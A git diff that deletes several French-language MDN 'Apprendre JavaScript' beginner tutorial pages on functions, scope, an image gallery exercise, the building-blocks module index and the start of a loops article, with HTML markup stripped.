- En outre, il est important de comprendre que les différents contextes dans lesquels JavaScript est utilisé tendent à avoir des modèles d'événements différents - des API Web à d'autres domaines tels que WebExtensions du navigateur et Node.js (JavaScript côté serveur). Nous ne nous attendons pas à ce que vous compreniez tous ces domaines maintenant, mais cela aide certainement à comprendre les bases des événements à mesure que vous avancez dans l'apprentissage du développement Web.

- -

S'il y a quelque chose que vous n'avez pas compris, n'hésitez pas à relire l'article, ou contactez-nous pour demander de l'aide.

- -

Voir aussi

- - - -

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}

- -

 

- -

Dans ce module

- - - -

 

diff --git a/files/fr/apprendre/javascript/building_blocks/fonctions/index.html b/files/fr/apprendre/javascript/building_blocks/fonctions/index.html deleted file mode 100644 index 43f3e916e1..0000000000 --- a/files/fr/apprendre/javascript/building_blocks/fonctions/index.html +++ /dev/null @@ -1,397 +0,0 @@ ---- -title: Fonctions — des blocs de code réutilisables -slug: Apprendre/JavaScript/Building_blocks/Fonctions -translation_of: Learn/JavaScript/Building_blocks/Functions ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}
- -

Les fonctions sont un autre concept essentiel de la programmation, qui permettent de stocker dans un bloc défini une partie de code qui effectue une seule tâche afin de l'appeler plus tard lorsque nous en avons besoin en utilisant une seule commande courte — au lieu de ré-écrire l'intégralité de ce code à chaque fois. Dans cet article nous explorons les concepts fondamentaux inhérents aux fonctions tels que la syntaxe de base, comment les définir et les invoquer, leur portée et leurs paramètres.

- - - - - - - - - - - - -
Prerequis:Culture informatique basique, compréhension basique du HTML et du CSS, Premiers pas en JavaScript...
Objectif:Comprendre les concepts fondamentaux des fonctions JavaScript.
- -

Où trouve-t'on des fonctions ?

- -

En JavaScript, vous trouverez des fonctions partout. En fait, nous avons utilisé des fonctions depuis le début du cours ; nous n'en avons simplement pas beaucoup parlé. Toutefois, il est maintenant temps de parler des fonctions de manière explicite et d'explorer réellement leur syntaxe.

- -

Presque à chaque fois que vous utilisez une structure de JavaScript qui utilise une paire de parenthèses — () — et que vous n'utilisez pas une structure usuelle et intégrée du langage telle que les boucles for, while ou do...while , ou une déclaration if...else , vous utilisez une fonction.

- -

Les fonctions intégrées du navigateur

- -

Nous avons beaucoup utilisé les fonctions intégrées du navigateur dans ce cours. Comme par exemple à chaque fois que nous avons manipulé une chaîne de caractères :

- -
var myText = 'I am a string';
-var newString = myText.replace('string', 'sausage');
-console.log(newString);
-// La fonction replace () sélectionne une chaîne,
-// remplace une sous-chaîne par une autre, et renvoie
-// la nouvelle chaîne avec les modifications effectuées.
- -

Ou à chaque fois que nous avons manipulé un tableau :

- -
var myArray = ['I', 'love', 'chocolate', 'frogs'];
-var madeAString = myArray.join(' ');
-console.log(madeAString);
-// La fonction join() sélectionne un tableau, rassemble
-// tous les éléments du tableau dans une chaîne,
-// et renvoie cette nouvelle chaîne.
- -

Ou à chaque fois que nous avons généré un nombre aléatoire :

- -
var myNumber = Math.random();
-// la fonction random() génère un nombre aléatoire
-// entre 0 et 1, et renvoie
-// ce nombre
- -

... nous avons utilisé une fonction !

- -
-

Note : N'hésitez pas à copier ces lignes dans la console JavaScript de votre navigateur afin de vous familiariser à nouveau avec leur fonctionnalité si vous en ressentez le besoin.

-
- -

Le langage Javascript a de nombreuses fonctions intégrées pour vous permettre de faire des choses utiles sans devoir écrire tout le code vous-même. En fait, certains codes que vous appelez quand invoquez (un mot sophistiqué pour dire lancer ou exécuter) une fonction intégrée du navigateur ne pourraient pas être écrits en JavaScript — la plupart de ces fonctions appellent des parties de code interne du navigateur qui est très majoritairement écrit en langages de bas niveau comme le C++, et non pas en langage web comme JavaScript.

- -

Gardez à l'esprit que certaines fonctions intégrées du navigateur ne font pas partie du noyau du langage JavaScript — certaines font partie des APIs du navigateur qui sont construites à partir du langage par défaut pour apporter encore plus de fonctionnalités ( consultez cette section antérieure de notre cours pour une description plus détaillée ). Nous aborderons l'utilisation des APIs du navigateur plus en détail dans un module ultérieur.

- -

Fonctions versus méthodes

- -

Une chose que nous devons éclaircir avant d'aller plus loin — d'un point de vue technique les fonctions intégrées du navigateur ne sont pas des fonctions mais des méthodes. Cela peut vous effrayer ou vous désorienter mais n'ayez crainte — les mots fonction et méthode sont largement interchangeables, du moins pour ce qui nous concerne, à ce niveau de votre apprentissage.

- -

La distinction réside dans le fait que les méthodes sont des fonctions définies à l'intérieur d'objets. Les fonctions intégrées au navigateur (méthodes) et les variables (que l'on appelle propriétés) sont stockées dans des objets structurés, pour rendre le code plus efficace et facile à manier.

- -

Vous n'aurez pas besoin d'apprendre les rouages des objets structurés du JavaScript pour le moment — vous pouvez attendre un module ultérieur qui vous en apprendra tous les rouages internes et comment les créer par vous même. Pour le moment, nous souhaitons simplement éviter toute confusion possible entre méthode et fonction — car vous êtes susceptibles de rencontrer les deux termes si vous en recherchez les ressources disponibles sur le Web. 

- -

Fonctions personnalisées

- -

Nous avons également rencontré beaucoup de fonctions personnalisées dans le cours jusqu'ici — fonctions définies dans votre code, et non pas dans le navigateur. À chaque fois que vous voyez un nom personnalisé suivi de parenthèses, vous utilisez une fonction personnalisée. Dans notre exemple random-canvas-circles.html tiré de l'article les boucles dans le code (voir aussi le code source complet), nous avons inclus une fonction personnalisée draw()qui ressemblait à ça :

- -
function draw() {
-  ctx.clearRect(0,0,WIDTH,HEIGHT);
-  for (var i = 0; i < 100; i++) {
-    ctx.beginPath();
-    ctx.fillStyle = 'rgba(255,0,0,0.5)';
-    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
-    ctx.fill();
-  }
-}
- -

Cette fonction dessine 100 cercles aléatoires dans un élément {{htmlelement("canvas")}}. À chaque fois que nous voulons faire cela, il suffit d'invoquer la fonction comme suit :

- -
draw();
- -

au lieu de devoir ré-écrire tout le code à chaque fois que nous voulons la répéter. De plus, les fonctions peuvent contenir tous les codes qu'il vous plaira — vous pouvez même appeler d'autres fonctions à l'intérieur d'une fonction. Par exemple, la fonction ci-dessus appelle la fonction random() trois fois, comme définie par le code suivant :

- -
function random(number) {
-  return Math.floor(Math.random()*number);
-}
- -

Nous avions besoin de cette fonction car la fonction intégrée du navigateur Math.random() génère uniquement un nombre décimal aléatoire compris entre 0 et 1 alors que nous voulions un nombre entier compris entre 0 et un nombre défini.

- -

Invoquer des fonctions

- -

Vous êtes probablement au clair avec cela maintenant, mais juste au cas où... pour utiliser une fonction après qu'elle ait été définie, vous devez la lancer - ou l'invoquer. Pour ce faire, vous devez inclure le nom de la fonction quelque part dans le code suivi par des parenthèses.

- -
function myFunction() {
-  alert('hello');
-}
-
-myFunction()
-// appelle la fonction une fois
- -

Fonctions anonymes

- -

Vous pouvez rencontrer des fonctions définies et invoquées de manière légèrement différentes. Nous venons juste de créer une fonction comme celle-ci :

- -
function myFunction() {
-  alert('hello');
-}
- -

Mais vous pouvez également créer une fonction qui n'a pas de nom :

- -
function() {
-  alert('hello');
-}
- -

Ceci est une fonction anonyme — elle n'a pas de nom ! De plus, elle ne produira pas d'effet par elle-même. Les fonctions anonymes sont généralement utilisées en association avec un gestionnaire d'évènement, comme dans l'exemple suivant qui lance le code inscrit dans la fonction lorsque le bouton associé est cliqué :

- -
var myButton = document.querySelector('button');
-
-myButton.onclick = function() {
-  alert('hello');
-}
- -

Cet exemple ci-dessus nécessite qu'il y ait un élément HTML {{htmlelement("button")}} disponible sur la page afin qu'il puisse être cliqué. Vous avez déjà rencontré ce type de structure plusieurs fois dans ce cours et vous en apprendrez plus à son sujet lorsque vous en étudierez l'utilisation dans l'article suivant.

- -

Vous pouvez également assigner une fonction anonyme en tant que valeur d'une variable, comme par exemple :

- -
var myGreeting = function() {
-  alert('hello');
-}
- -

Cette fonction peut désormais être invoquée en utilisant :

- -
myGreeting();
- -

Cela a pour effet d'attribuer un nom à la fonction ; vous pouvez également utiliser la fonction anonyme en tant que valeur de variables multiples, comme par exemple :

- -
var anotherGreeting = function() {
-  alert('hello');
-}
- -

Cette fonction peut désormais être invoquée en utilisant au choix :

- -
myGreeting();
-anotherGreeting();
- -

Cela peut toutefois générer de la confusion, donc ne le faites pas ! Lorsque l'on crée des fonctions, il vaut mieux se contenter de cette forme :

- -
function myGreeting() {
-  alert('hello');
-}
- -

Vous utiliserez principalement des fonctions anonymes simplement pour lancer une partie de code en réponse à un évènement — comme lorsqu'un bouton est cliqué — en utilisant un gestionnaire d'évènement. Cela devrait ressembler à ça :

- -
myButton.onclick = function() {
-  alert('hello');
-  // Je peux mettre ici autant
-  // de code que je le souhaite
-}
- -

Paramètres des fonctions

- -

Certaines fonctions nécessitent que l'on définisse des paramètres lorsqu'on les appelle — ce sont des valeurs qui doivent êtres inclues dans les parenthèses de la fonction pour que celle-ci fonctionne correctement.

- -
-

Note : Les paramètres sont parfois appelés arguments, propriétés ou encore attributs.

-
- -

Par exemple, la fonction intégrée du navigateur Math.random() ne nécessite pas de paramètres. lorsqu'elle est appelée, elle renvoie toujours un nombre aléatoire compris entre 0 et 1 : 

- -
var myNumber = Math.random();
- -

La fonction de chaîne intégrée du navigateur replace() nécessite toutefois deux paramètres — la sous-chaîne qu'elle doit remplacer à l'intérieur de la chaîne, et la sous-chaîne par laquelle elle doit la remplacer :

- -
var myText = 'I am a string';
-var newString = myText.replace('string', 'sausage');
- -
-

Note : Quand vous devez définir plusieurs paramètres, ils doivent être séparés par des virgules.

-
- -

Il est également à noter que parfois les paramètres sont optionnels — vous n'avez pas à les spécifier. Si vous ne le faites pas, la fonction va généralement adopter un comportement par défaut. Par exemple, la fonction de tableau join() a des paramètres optionnels :

- -
var myArray = ['I', 'love', 'chocolate', 'frogs'];
-var madeAString = myArray.join(' ');
-// renvoie 'I love chocolate frogs'
-var madeAString = myArray.join();
-// renvoie 'I,love,chocolate,frogs'
- -

Si aucun paramètre n'est inclus pour spécifier un caractère de jointure / délimitation, une virgule est utilisée par défaut.

- -

La portée des fonctions et les conflits.

- -

Parlons un peu de la {{glossary("portée")}} — un concept très important lorsque l'on a affaire à des fonctions. Lorsque vous créez une fonction, les variables et les autres choses qui sont définies à l'intérieur de la fonction ont leur propre portée, ce qui signifie qu'elles sont enfermées dans leur propre compartiment séparé et qu'elles ne peuvent pas être affectées par d'autres fonctions ou par le code en dehors de la fonction.

- -

Le plus haut niveau en dehors de toutes vos fonctions est appelé la portée globale. Les valeurs définies dans la portée globale sont accessibles à partir de n'importe qu'elle partie du code.

- -

Le JavaScript est construit de cette façon pour plusieurs raisons —  mais principalement à cause de la sécurité et de l'organisation. Parfois, vous ne voulez pas que vos variables soient accessibles depuis toutes les autres parties du code — des script externes appelés depuis l'extérieur de la fonction pourraient interférer avec votre code et causer des problèmes parce qu'ils utilisent les mêmes noms de variables que d'autres parties du code, provoquant des conflits. Cela peut être fait de manière malveillante ou simplement par accident.

- -

Par exemple, disons que vous avez un fichier HTML qui appelle deux fichiers JavaScript externes, et que les deux ont une variable et une fonction définie qui utilisent le même nom :

- -
<!-- Excerpt from my HTML -->
-<script src="first.js"></script>
-<script src="second.js"></script>
-<script>
-  greeting();
-</script>
- -
// first.js
-var name = 'Chris';
-function greeting() {
-  alert('Hello ' + name + ': welcome to our company.');
-}
- -
// second.js
-var name = 'Zaptec';
-function greeting() {
-  alert('Our company is called ' + name + '.');
-}
- -

Les deux fonctions que vous voulez appeler s'appellent greeting(), mais vous ne pouvez accéder qu'à la fonction greeting() du second fichier second.js  — car celui-ci est appliqué au code HTML plus tard dans le code source, de sorte que sa variable et sa fonction écrasent celles du premier fichier first.js.

- -
-

Note : Vous pouvez voir cet exemple s'exécuter sur GitHub (voir aussi le code source).

-
- -

En conservant des parties de votre code enfermées dans des fonctions, vous évitez de tels problèmes. Cette procédure est considérée comme une bonne pratique.

- -

C'est un peu comme au zoo. Les lions, zèbres, tigres et pingouins sont enfermés dans leurs propres enclos, et n'ont accès qu'aux éléments se trouvant à l'intérieur de leur enclos — de la même manière que la portée des fonctions. S'il leur était possible de pénétrer dans les autres enclos, des problèmes se produiraient. Au mieux, des animaux différents seraient dans l'inconfort au sein d'un habitat étranger — un lion ou un tigre se sentirait très mal dans l'environnement humide et glacé des pingouins. Au pire, les lions et les tigres pourraient essayer de manger les pingouins !

- -

- -

Le gardien du zoo est comme la portée globale — il ou elle a les clefs pour accéder à chaque enclos, pour l'approvisionner en nourriture, soigner les animaux malades, ...etc.

- -

Apprentissage actif : Jouer avec la portée

- -

Jetons un coup d'oeil à un exemple réel pour démontrer les effets de la portée.

- -
    -
  1. Tout d'abord, faisons un copie locale de notre exemple function-scope.html. Celui-ci contient deux fonctions appelées a() et b(), et trois variables — x, y, and z — deux d'entre elles sont définies à l'intérieur de la fonction, et l'autre dans la portée globale. Il contient également une troisième fonction appelée output(), qui prend un seul paramètre et le renvoie dans un paragraphe de la page.
    2. -
  2. Ouvrez l'exemple ci-dessus dans un navigateur et dans un éditeur de texte.
    3. -
  3. Ouvrez la console JavaScript dans les outils de développement de votre navigateur et entrez la commande suivante : - 
    output(x);
    - Vous devriez voir la valeur de la variable x renvoyée à l'écran.
    4. -
  4. Maintenant essayez d'entrer les commandes suivantes : - 
    output(y);
-output(z);
    - -

    Toutes les deux devraient vous renvoyer un message d'erreur du type : "ReferenceError: y is not defined". Pourquoi ? À cause de la portée de la fonction — y and z sont enfermées dans les fonctions a() et b(), donc output() ne peut pas les atteindre lorsqu'elles sont appelées depuis la portée globale.

    -
    5. -
  5. -

    Néanmoins, que se passe-t-il losqu'elles sont appelées de l'intérieur d'une autre fonction ? Essayer d'éditer a() et b() pour qu'elles aient la forme suivante :

    - - 
    function a() {
-  var y = 2;
-  output(y);
-}
-
-function b() {
-  var z = 3;
-  output(z);
-}
    - Sauvegardez le code et rechargez-le dans votre navigateur, puis essayez d'appeler les fonctions a() et b() depuis la console JavaScript : - - 
    a();
-b();
    - Vous devriez voir les valeurs y and z renvoyées sur la page. Cela fonctionne très bien car la fonction output() est applée à l'intérieur des autres fonctions — dans la portée dans laquelle les variables qu'elle renvoie sont définies. La fonction output() est elle-même disponible n'importe où dans le code, car elle est définie dans la portée globale.
    6. -
  6. Maintenant essayer de mettre à jour le code comme ceci : - 
    function a() {
-  var y = 2;
-  output(x);
-}
-
-function b() {
-  var z = 3;
-  output(x);
-}
    - Sauvegardez et rechargez à nouveau dans la console JavaScript :
    7. -
  7. - 
    a();
-b();
    - Les deux fonctions a() et b() appelées devraient renvoyer la valeur x — 1. Cela fonctionne très bien car même si la fonction output() n'est pas dans la même portée que celle dans laquelle  x est définie, x est une variable globale et donc elle est disponible dans n'importe quelle partie du code.
    8. -
  8. Pour finir, essayez de mettre à jour le code comme ceci : - 
    function a() {
-  var y = 2;
-  output(z);
-}
-
-function b() {
-  var z = 3;
-  output(y);
-}
    -
    9. -
  9. Sauvegardez et rechargez à nouveau dans la console JavaScript : - 
    a();
-b();
    - Cette fois l'appel de a() et b() renverra l'erreur "ReferenceError: z is not defined"  — parce que l'appel de la fonction output() et des variables qu'elle essaie d'afficher ne sont pas définis dans les mêmes portées — les variables sont en effet invisibles pour cet appel de fonction.
    10. -
- -
-

Note : Ces règles de portée ne s'appliquent pas aux boucles (ex. for() { ... }) ni aux instructions conditionnelles (ex. if() { ... }) — elles semblent très similaires, mais ce n'est pas la même chose ! Prenez garde de ne pas les confondre.

-
- -
-

Note : Le message d'erreur ReferenceError: "x" is not defined est l'un des plus courant que vous pourrez rencontrer. S'il s'affiche et que vous êtes sûr d'avoir défini la variable en question, vérifiez quelle est sa portée.

-
- - - -

Des fonctions à l'intérieur de fonctions

- -
-
Gardez à l'esprit que vous pouvez appeler une fonction de n'importe où, même à l'intérieur d'une autre fonction. Ceci est souvent utilisé comme un moyen de garder le code bien organisé — si vous avez une grande fonction complexe, elle est plus facile à comprendre si vous la divisez en plusieurs sous-fonctions :
-
- -
function myBigFunction() {
-  var myValue;
-
-  subFunction1();
-  subFunction2();
-  subFunction3();
-}
-
-function subFunction1() {
-  console.log(myValue);
-}
-
-function subFunction2() {
-  console.log(myValue);
-}
-
-function subFunction3() {
-  console.log(myValue);
-}
-
- -

Assurez-vous simplement que les valeurs utilisées dans la fonction ont une portée correcte. L'exemple ci-dessus entraînerait une erreur ReferenceError: myValue is not defined, car bien que la valeur myValue  est définie dans la même portée que les appels de fonction, elle n'est pas définie dans les définitions de fonctions - le code réel qui est exécuté lorsque les fonctions sont appelées. Pour que cela fonctionne, vous devez passer la valeur dans la fonction en tant que paramètre, comme ceci :

- -
function myBigFunction() {
-  var myValue = 1;
-
-  subFunction1(myValue);
-  subFunction2(myValue);
-  subFunction3(myValue);
-}
-
-function subFunction1(value) {
-  console.log(value);
-}
-
-function subFunction2(value) {
-  console.log(value);
-}
-
-function subFunction3(value) {
-  console.log(value);
-}
- -

Conclusion

- -

Cet article a exploré les concepts fondamentaux inhérents aux fonctions, ouvrant la voie au suivant dans lequel nous passerons à la pratique et vous guiderons à travers les étapes pour construire votre propre fonction personnalisée.

- -

Voir aussi

- - - - - -

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/javascript/building_blocks/image_gallery/index.html b/files/fr/apprendre/javascript/building_blocks/image_gallery/index.html deleted file mode 100644 index 07a51499fd..0000000000 --- a/files/fr/apprendre/javascript/building_blocks/image_gallery/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: Galerie d'images -slug: Apprendre/JavaScript/Building_blocks/Image_gallery -tags: - - Apprendre - - Boucles - - Débutant - - Evaluation - - Gestionnaire d'événement - - JavaScript - - conditions - - 'l10n:priority' - - Écriture de code - - évènements -translation_of: Learn/JavaScript/Building_blocks/Image_gallery ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}
- -

Maintenant que nous avons examiné les blocs fondamentaux de construction de JavaScript,  nous allons tester vos connaissances sur les boucles, les fonctions, les conditions et les événements  en vous aidant à créer un élément assez commun que vous verrez  sur de nombreux sites web. Une galerie JavaScript animée.

- - - - - - - - - - - - -
Conditions préalables:Avant de tenter cette évaluation, vous devriez avoir parcouru tous les articles de ce module. 
Objectif:Tester la compréhension des boucles, des fonctions, des conditions et des événements JavaScript.
- -

Point de départ

- -

Pour réaliser cette évaluation, vous devez récupérer le fichier ZIP et le décompresser quelque par sur votre ordinateur.

- -

Vous pouvez également utiliser un site comme JSBin ou  Thimble pour effectuer votre évalution. Vous pouvez copier le code HTML,CSS et JavaScript dans l'un de ces éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas de panneaux JavaScript/CSS séparés, n'hésitez pas à utiliser les éléments <script>/<style> dans la page HTML.

- -
-

Note: Si vous êtes bloqué, demandez-nous de l'aide — voir la section {{anch("Évaluation ou aide supplémentaire")}} au bas de cette page.

-
- -

Résumé du projet

- -

Vous avez reçu des fichiers HTML, CSS, des images et quelques lignes de code JavaScript; vous devez écrire le code JavaScript nécessaire pour en faire un programme fonctionnel. Le corps HTML ressemble à ceci:

- -
<h1>Image gallery example</h1>
-
-<div class="full-img">
-  <img class="displayed-img" src="images/pic1.jpg">
-  <div class="overlay"></div>
-  <button class="dark">Darken</button>
-</div>
-
-<div class="thumb-bar">
-
-</div>
- -

L'exemple ressemble à ceci:

- -

- - - -

Les parties les plus intéressantes du fichier CSS de l'exemple:

- - - -

Votre JavaScript doit:

- - - -

Pour vous donner une idée, regardez l'exemple (Ne regardez pas le code source!).

- -

Les différentes étapes

- -

Les sections suivantes décrivent ce que vous avez à faire.

- -

Itération sur les images

- -

Nous vous avons fourni des lignes qui storent une référence à thumb-bar <div> dans une variable nommée thumbBar, créent un nouvel élément <img>, définissent son attribut src à un emplacement de valueur xxx, et ajoutent ce nouvel élément <img> dans thumbBar.

- -

Vous avez besoin de:

- -
    -
  1. Ajouter votre code en-dessous du commentaire Looping through images à l'intérieur d'une boucle qui itère sur les 5 images — vous n'avez besoin que de 5 itérations, chacune représentant une image.
    2. -
  2. Remplacez, pour chaque itération,  la valeur xxx de l'emplacement par une chaîne de caractères qui correspond au chemin de l'image considérée. Il faut définir la valeur de l'attribut src dans chaque cas. Gardez à l'esprit que, à chaque fois, l'image est dans le répertoire des images et que son nom est pic1.jpg, pic2.jpg, etc.
    3. -
- -

Ajout d'un gestionnaire onclick à chaque miniature

- -

À chaque itération, vous devez ajouter un gestionnaire onclick au newImage courant. Il doit:

- -
    -
  1. Trouver la valeur de l'attribut src de l'image courante. Cela peut être fait avec la fonction getAttribute() sur <img>, en lui passant le paramètre "src" à chaque fois. Mais comment avoir l'image? Utiliser newImage ne marche pas du fait que la boucle est finie avant que le gestionnaire d'événement ne soit appelé; de cette manière, la valeur de src sera toujours celle du dernier <img>. Pour résoudre cela, gardez à l'esprit que, pour chaque gestionnaire d'événement, c'est <img> qui en est la cible. Pourquoi ne pas récupérer l'information de l'objet événement?
    2. -
  2. Exécuter une fonction, en lui passant en paramètre la fameuse valeur de src. Vous pouvez nommer la fonction à votre guise.
    3. -
  3. Cette fonction du gestionnaire d'événement doit définir la valeur de l'attribut src de displayed-img <img> à la valeur du src passé en paramètre. Nous vous avons fourni une ligne qui stocke une référence de l'<img> concerné dans une variable nommée displayedImg. Notez que nous voulons une fonction nommée.
    4. -
- -

Écrire le gestionnaire du bouton d'assombrissement

- -

Il ne reste que notre <button> d'assombrissement — nous vous avons fourni une ligne qui stocke une référence au <button> dans une variable appelée btn. Vous devez ajouter un gestionnaire onclick qui:

- -
    -
  1. Vérifie la classe appliquée à <button> — à nouveau, vous pouvez utiliser getAttribute().
    2. -
  2. Si le nom de classe est "dark", changer la classe du <button> pour "light" (avec setAttribute()), son contenu textuel par "Lighten", et le {{cssxref("background-color")}} du voile d'assombrissement <div> par "rgba(0,0,0,0.5)".
    3. -
  3. Si le nom de classe n'est pas "dark", changer la classe du <button> pour "dark", son contenu textuel par "Darken", et le {{cssxref("background-color")}} du voile d'assombrissement <div> par "rgba(0,0,0,0)".
    4. -
- -

Les lignes suivantes fournissent une base pour réaliser les changements  décrits aux points 2 et 3.

- -
btn.setAttribute('class', xxx);
-btn.textContent = xxx;
-overlay.style.backgroundColor = xxx;
- -

Conseil

- - - -

Évaluation ou aide supplémentaire

- -

Si vous souhaitez que votre travail soit évalué, ou si vous êtes bloqué et que vous voulez demander de l'aide :

- -
    -
  1. Mettez votre travail dans un éditeur partageable en ligne tel que CodePen, jsFiddle, ou Glitch.
    2. -
  2. Rédiger un sujet pour demander une évaluation et/ou une aide à le forum Discourse du MDN. Ajoutez la balise "learning" à votre message pour que nous puissions le trouver plus facilement. Votre message doit inclure : -
      -
    • Un titre descriptif tel que "Évaluation demandée pour la galerie d'images".
      • -
    • Des détails sur ce que vous souhaitez que nous fassions — par exemple ce que vous avez déjà essayé, si vous êtes bloqué et avez besoin d'aide.
      • -
    • Un lien vers l'exemple que vous souhaitez faire évaluer ou pour lequel vous avez besoin d'aide, dans un éditeur en ligne. C'est une bonne pratique à adopter — il est très difficile d'aider une personne ayant un problème de codage si on ne peut pas voir son code.
      • -
    • Un lien vers la page de la tâche ou de l'évaluation proprement dite, afin que nous puissions trouver la question pour laquelle vous souhaitez de l'aide.
      • -
    -
    3. -
- -

Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre professeur ou mentor pour la notation. Si vous apprenez en autodidacte, vous pouvez obtenir le guide de notation simplement en le demandant sur le fil de discussion de cet exercice, ou sur #mdn du canal IRC de Mozilla IRC. Faites d'abord l'exercice, vous ne gagnerez rien à tricher!

- -

{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/javascript/building_blocks/index.html b/files/fr/apprendre/javascript/building_blocks/index.html deleted file mode 100644 index 7efffb563e..0000000000 --- a/files/fr/apprendre/javascript/building_blocks/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Principaux blocs en JS -slug: Apprendre/JavaScript/Building_blocks -tags: - - Auto-évaluation - - Boucles - - Débutant - - Fonctions - - Guide - - Modules - - conditions - - évènements -translation_of: Learn/JavaScript/Building_blocks ---- -
{{JsSidebar}}
- -
{{PreviousNext("Learn/JavaScript/First_steps", "Learn/JavaScript/Objects")}}
- -

Dans ce module nous allons continuer à voir l'ensemble des fonctionnalités clefs du JavaScript en nous concentrant plus particulièrement sur les structures les plus répandues telles que les conditions, les boucles, les fonctions et les événements. Nous avons déjà vu ces notions dans le cours mais sans nous y attarder, nous allons maintenant les étudier en détails.

- -

Prérequis

- -

Avant de commencer ce module, vous devriez connaître les bases du HTML et du CSS et avoir suivi le module précédent, JavaScript Premiers Pas.

- -
-

Note : Si vous travaillez depuis un ordinateur, une tablette ou depuis un autre appareil sur lequel vous ne pouvez pas créer vos propres fichiers, ce n'est pas un problème, vous pourrez essayer la plupart des exemples en lignes grâce à des outils comme JSBin ou Thimble .

-
- -

Guides

- -
-
Prendre des décisions dans votre code — les conditions
-
Quelque soit le langage de programmation, notre programme doit prendre des décisions et effectuer des actions différentes selon les valeurs traitées. Dans un jeu par exemple, si le nombre de vies du joueur est égal à 0, le jeu s'achève. Sur le même principe, une application météo affiche un fond d'aube si elle est lancée le matin, des étoiles et la Lune si, au contraire, elle est lancée la nuit. Dans cet article, nous allons voir comment les structures conditionnelles fonctionnent en JavaScript.
-
Les boucles
-
Parfois une action doit être réalisée plusieurs fois d'affilée. Par exemple, parcourir une liste de noms. En programmation, les boucles effectuent ce genre de tâches à merveille. Ici, nous allons examiner les structures de boucles en JavaScript.
-
Les fonctions — réutiliser des blocs de code
-
Un autre concept essentiel en programmation est celui de fonctions. Les fonctions permettent de définir un morceau de code réalisant une tâche particulière qui pourra être appelé ultérieurement dans le reste du programme par une simple ligne, ce qui évite d'écrire plusieurs fois le même code. Dans cet article, nous allons voir les concepts qui se cachent derrière les fonctions tels que la syntaxe de base, la définition et l'appel d'une fonction, sa portée et ses paramètres.
-
Créez votre propre fonction
-
L'essentiel sur la théorie des fonctions a été traité dans le chapitre précédent, cet article va vous permettre de mettre en pratique vos connaissances avec un exercice. Nous allons construire notre propre fonction et nous en profiterons pour expliquer quelques notions plus avancées, utiles pour travailler avec les fonctions.
-
Les valeurs de retour des fonctions
-
Il reste un dernier point à vous présenter avant de terminer cette partie sur les fonctions, il s'agit des valeurs retournées. Une fois leur exécution finie, les fonctions renvoient des valeurs, pour certaines d'entre-elles ce retour nous est utile. Il est important de bien comprendre ce que sont ces valeurs, comment les utiliser dans notre programme et comment faire en sorte que nos fonctions renvoient des valeurs qui nous soient utiles.
-
Introduction aux événements
-
Les événements sont des actions ou occurences qui surviennent au cours de l'exécution de votre programme, auxquels vous pouvez répondre de la manière que vous souhaitez. Par exemple, si l'utilisateur clique sur une page web, vous pourriez vouloir répondre à cette action en affichant un élément d'information. Dans ce dernier article, nous allons voir des concepts importants se rapportant aux événements et voir la manière dont ils fonctionnent au sein des navigateurs.
-
- -

Auto-évaluation

- -

L'auto-évaluation suivante teste votre compréhension des bases du JavaScript vues dans le guide ci-dessus.

- -
-
Galerie de photos
-
Maintenant que vous avez fini ce chapitre sur la construction de blocs en JavaScript, vous allez pouvoir tester vos connaissances sur les boucles, les fonctions, les conditions et les événements en codant un élément que l'on retrouve sur de très nombreux sites web, une galerie de photos en JavaScript.
-
- -

{{PreviousNext("Learn/JavaScript/First_steps", "Learn/JavaScript/Objects")}}  

diff --git a/files/fr/apprendre/javascript/building_blocks/looping_code/index.html b/files/fr/apprendre/javascript/building_blocks/looping_code/index.html deleted file mode 100644 index 820a4d09e2..0000000000 --- a/files/fr/apprendre/javascript/building_blocks/looping_code/index.html +++ /dev/null @@ -1,873 +0,0 @@ ---- -title: Les boucles dans le code -slug: Apprendre/JavaScript/Building_blocks/Looping_code -tags: - - Article - - CodingScripting - - DO - - Débutant - - Guide - - JavaScript - - Learn - - Loop - - break - - continue - - for - - 'l10n:priority' - - while -translation_of: Learn/JavaScript/Building_blocks/Looping_code ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}
- -

Les langages de programmation sont très utiles pour effectuer des tâches répétitives, allant de calculs basiques à à peu près n'importe quelle autre situation où vous avez un certain nombre d'actions similaires à répéter. Ici, nous allons étudier les structures de boucle disponible dans JavaScript qui répondent à un tel besoin.

- - - - - - - - - - - - -
Prérequis :Culture informatique basique, compréhension basique du HTML et du CSS, Premiers pas en JavaScript...
Objectif :Comprendre comment utiliser les boucles dans JavaScript.
- -

Laissez-moi dans la boucle

- -

Boucles, boucles, boucles. Alors qu'elles sont associées aux cheveux d'une célèbre héroïne de fiction, elles sont également un concept extrêmement important en programmation. Les boucles de programmation ne font que faire la même action encore et toujours – ce qui se traduit par itérer en langage de programmeur.

- -

Commençons par examiner le cas d'un fermier qui doit s'assurer d'avoir assez de nourriture pour nourrir sa famille pour la semaine. Il pourrait ainsi utiliser la boucle suivante :

- -


-

- -

Une boucle a normalement un ou plusieurs des composants suivants :

- - - -

En {{glossary("pseudocode")}}, cela ressemblerait à ce qui suit :

- -
loop(nourriture = 0; besoinNourriture = 10) {
-  if (nourriture = besoinNourriture) {
-    exit loop;
-    // Nous avons assez de nourriture, on rentre
-  } else {
-    nourriture += 2; // On doit rester 1 heure de plus
-    // La boucle se répète ensuite
